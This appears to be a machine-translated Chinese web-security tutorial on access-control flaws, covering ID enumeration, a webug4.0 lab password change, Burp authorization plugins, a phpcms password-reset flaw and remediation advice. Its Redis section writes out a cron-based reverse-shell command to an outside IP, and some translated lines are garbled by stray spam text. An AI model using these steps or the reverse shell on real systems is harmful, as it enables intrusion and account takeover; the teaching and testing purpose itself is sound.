2.2 基于用户ID的权限覆盖
例如：
https://www.xxx.com/user1/userinfo.php?user_id=user1https://www.xxx.com/user1/userinfo.php?user_id=10001
当我们登录到一个系统后，我们看到一些功能信息的获取方式与链接类似。 我们可以初步判断，获取信息的方式是根据user_id获取对应的用户信息。 如果参数是用户名，我们可以收集userName字典来枚举信息，根据返回值判断是否存在问题。 当然，如果枚举量很大，系统用户数量不是很多，可以尝试注册一个新用户，并使用新用户的用户名来测试是否可以获取到用户信息。
如果参数是固定数字串，则遍历该数字串即可。 在这种情况下，系统按用户 ID 对每个注册用户进行排序，这在许多开源 CMS 中都使用。 当然，这个字符串也有可能是随机的。 如果是随机的，如果量不大，可以通过遍历的形式来获取。 如果量大的话，可以使用burp的随机数爆破，也可以自己注册一个账号来测试。
2.3 基于功能对象ID的覆盖
例如：
https://www.xxx.com/user1/userticket.php?user_order=100001https://www.xxx.com/user1/userticket.php?user_order=49ba59ab
这个问题存在于大量具有用户下单、购买、查询等功能的商户CMS中。 比如上面的地址中，如果user_order是订单号，那么我们可以尝试遍历订单地址来检查是否存在违规行为。 如果数字不是简单的订单号字符串，而是类似于上面的编码字符串，如果你相信你的运气，你可以尝试一些编码，例如BASE64和MD5。 如果您无法猜测，或者无法清楚地看到该过程是如何完成的，注册一个新帐户并再次下订单将是一个简单而方便的选择。
2.4 根据上传文件对象ID进行权限覆盖
例如：
https://www.xxx.com/user1/userfile.php?fileid=10001https://www.ccc.com/user1/userfile.php?fileid=user1_name.jpg
上传文件后，未经许可就可以查看其他用户上传的文件，类似的问题也经常出现。 假设系统要求我们上传个人身份证、实名认证信息、购买发票订单等，如果上传后看到类似上面的地址，就可以猜测上传的文件是可以遍历获取的，通过查询fileid可以查看其他用户的上传信息。 如果上传后的文件名与第二个一样，则有可能该文件已被系统重命名。 重命名方法一般采用当前上传的时间戳或者当前上传的日期加随机字段。 这种情况下枚举就比较困难了，但是你还是可以注册一个新用户来检查是否存在违规行为。 顺便问一下，如果是这种获取信息的方式，还可能存在哪些问题呢？
2.5 基于未授权访问的权限覆盖
例如：
https://www.xxx.com/user1/user.php?user=user1@user.com在某些系统上以用户身份登录后，您可以看到类似于上面的地址链接。 你可能觉得这和问题1类似，但是可能还有另外一种问题情况，不用登录仍然可以访问详细信息。如果可以的话，证明后端的身份验证只是根据参数user，而不验证用户会话是否登录。这个问题是在某系统后端支付订单审核功能中发现的。 这个问题是可以理解的。
2.6 基于功能地址的权限覆盖
例如：
https://www.xxx.com/user/getuserinfo.php
如上图，一般情况下，只访问这个后端地址时，一般会跳转到登录地址，或者登录后可以用来查看特定功能，数据获取情况取决于访问的链接地址。 理论上来说，这个函数不存在越权的可能性，因为没有我们可以修改的参数。 然而，权限和功能的限制可能仅限于用户菜单。 根据常见链接，可以猜测以下地址是否存在：
/getuserorder.php
/adduser.php
/deluser.php
/getalluser.php
/todetailpage.php
/ordercreate.php
...
因为在大多数系统中，为了方便区分功能和页面，开发人员通常会使用相应的英文来命名文件。 不过这些文件是任何用户都无法访问的，因此可以猜测访问地址是否是英文的拼接。 小路。 针对此问题的快速测试是获取高权限帐户。 当然，对于未经授权的测试很难实施。
2.7 基于接口身份的权限覆盖
例如：
https://www.xxx.com/user/userinfo.phppost: {'userid':'10001','username':'name','userage':'18','usermobile':'18080808888'}
比如上面的界面中，当我们修改用户信息时，当我们点击某个系统修改自己的信息时，就会发送一个类似的json数据包织梦网站码支付，其中的userid对应的是我们自己的用户id。 修改后即可修改id对应的用户信息。 修改方法与问题1类似，区别是一页可见，一页不直观可见，一查询一修改。 需要配合其他未授权查询漏洞或账户来识别是否修改成功。
3. 漏洞范围测试
漏洞环境：phpstudy、webug4.0
射击场介绍：国内漏洞齐全、演示齐全的射击场。 也分为小学、初中、高中。 虽然看上去没什么高大上的东西，但依然是一个不错的靶场环境。
漏洞演示：演示的是靶场22号漏洞，擅自更改密码
靶场安装：本来提供了vm安装环境，但是百度云打不开。 我刚刚使用该文件自己安装了它。 由于找不到安装教程，所以尝试如下安装。
将sql目录下的文件安装到数据库中，根据文件名新建三个数据库，导入数据文件，修改data目录下的dbconfig和dbconn文件，修改为自己的数据库账号密码和数据库名。 修改完成后，建议将网站目录更改为webug目录。 直接访问本地地址即可。
另外，需要修改/control/auth_cross/cross_auth_passwd.php文件下的一段代码，否则会跳转到错误的路径：
header("Location:/pt_env/control/auth_cross/cross_auth_passwd2.php?id={$id}")修改为：header("Location:/control/auth_cross/cross_auth_passwd2.php?id={$id}")
点击第一个未经许可修改密码，进入如下页面：
这里我打开数据库查看修改密码的情况。 打开webug数据库下的user_test表，可以看到有两个用户，如下：
这里使用aaaaa用户修改admin用户密码。 使用aaaaa账户登录后，您将看到以下界面。
这里我们可以先正常走一遍逻辑，检查数据包，将aaaaa的密码修改为aaaaa，弹出窗口就OK了。 然后查看捕获的数据包。
有两个参数，旧密码和新密码。 理论上来说，如果验证了旧密码和账户的一致性，即使链接中的ID可以修改而密码没有修改，也会提示旧密码错误，但这里没有验证。 旧密码与账号一致导致将链接中的2改为1，post参数不变，或者任意旧密码值，admin密码可以更改。
检查数据库修改是否成功：
这里有两个问题。 一是修改后的用户身份是通过链接中的ID来确定的，二是旧密码和账号没有经过认证。
4. 工具测试
对于涉及未经授权访问的安全问题，没有自动化测试工具可以发现和识别它们。 至少没有完整的未经授权的检测工具和扫描仪可用。
这里我们介绍一个Burp override插件来辅助检测override漏洞，但是它只能检测基于函数的override，无法自动检测需要修改参数来确定override形式的漏洞。
在burp的Extender选项中选择BApp Store选项卡，找到Authz插件，点击安装。 安装完成后，选项卡中会出现一个Authz的新选项卡，界面如下：
这里需要两个用户身份。 假设用户A和用户B，登录用户A的账号，获取cookie到新的header中，使用账号B抓包获取信息。 进入代理并选择要测试的功能地址，右键单击Send requests to Authz。
获得足够需要测试的功能后，进入Authz界面，点击run即可运行。 如果此处未设置 cookie，则测试将基于未经授权的访问。
其中我们输入的cookie值会在请求中被替换，如图，源请求的字节长度，请求的字节长度，源请求的响应码，请求的响应码，并通过响应的差异检查是否存在。 超越权限漏洞。
还有一个插件AuthMatrix可以实现这个检测目的。 它还可以检测未经授权的访问，功能强大，但使用起来比Authz更复杂。 对于要求较高、多个用户需要在请求中选择和替换token的情况，可以使用该插件。
介绍地址：
5.CMS演示5.1前台可任意修改其他用户信息
漏洞环境：phpstudy、phpcms9.5.9
漏洞介绍：phpcms的设计缺陷使得前端用户可以随意修改其他用户的密码。
漏洞下载：
解压并安装到phpstudy中。 访问后需要安装。 根据安装要求填写您的账号和密码。 等待安装完成，会自动跳转到后台管理页面。 登录后台需要先添加邮箱认证，比如添加的腾讯邮箱如下。 获取腾讯授权码的具体方法可以查看：
在用户模块中添加以下信息，并添加两个新的测试用户，类似如下。 其中之一需要能够接收电子邮件。
单击网站主页上的登录页面。 如果跳转到404安装页面，可能是你没有删除install安装目录。 只需删除并访问index.php。选择忘记密码->用户名来找回密码
点击获取邮箱验证码
返回上一步，输入要修改的用户，如下图test2
输入之前的邮箱验证码提交
点击后会显示密码修改成功，如下：
使用新密码成功登录尝试：
Bug修复：该问题的原因是验证码未与账户绑定。 验证时仅判断验证码是否有效。 对于此类问题，经常出现在手机号码验证码和邮箱验证码中。 在进行最终修改时，需要验证验证码与手机或邮箱的对应关系。
5.2 未授权访问redis
漏洞环境：Ubuntu、reids 3.2.0
漏洞介绍：由于配置不当导致Redis可以被未经授权访问。 攻击者无需身份验证即可访问内部数据，这可能导致敏感信息泄露。 他们还可以将文件写入反弹 shell。
安装如下：
获取
tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0
制作
修改配置文件
vi redis.conf
bind 127.0.0.1 加上#
protected-mode yes 改为no在配置文件目录下启动
./src/redis-server redis.conf
启动后显示如下：
基本信息可以通过reids命令查看
尝试将shell弹回指定地址
set x "n* * * * * bash -i >& /dev/tcp/192.168.30.79/2333 0>&1n"config set dir /var/spool/cron/config set dbfilename rootsave
或者使用gopher协议，直接使用curl来执行命令。
6.错误修复
1、验证需要从前端获取的参数，如用户ID、角色权限名称等，并根据前端请求对需要返回数据的参数进行权限验证。
2.对于固定的返回信息，可以使用特定的链接地址返回，使用不可预测的地址，如：getuserinfo_snhx.php
3. 确定需要修改或增加的功能，根据当前看到的情况判断用户。 参数中仅传输修改后的用户信息。
4、区分用户和管理员时，不要使用一些相同的参数来区分。 例如dede使用ID值来区分管理和用户织梦网站码支付，这很容易出现问题。
5. 对于查询类型覆盖，需要对每个请求的参数验证当前用户身份，以避免水平覆盖。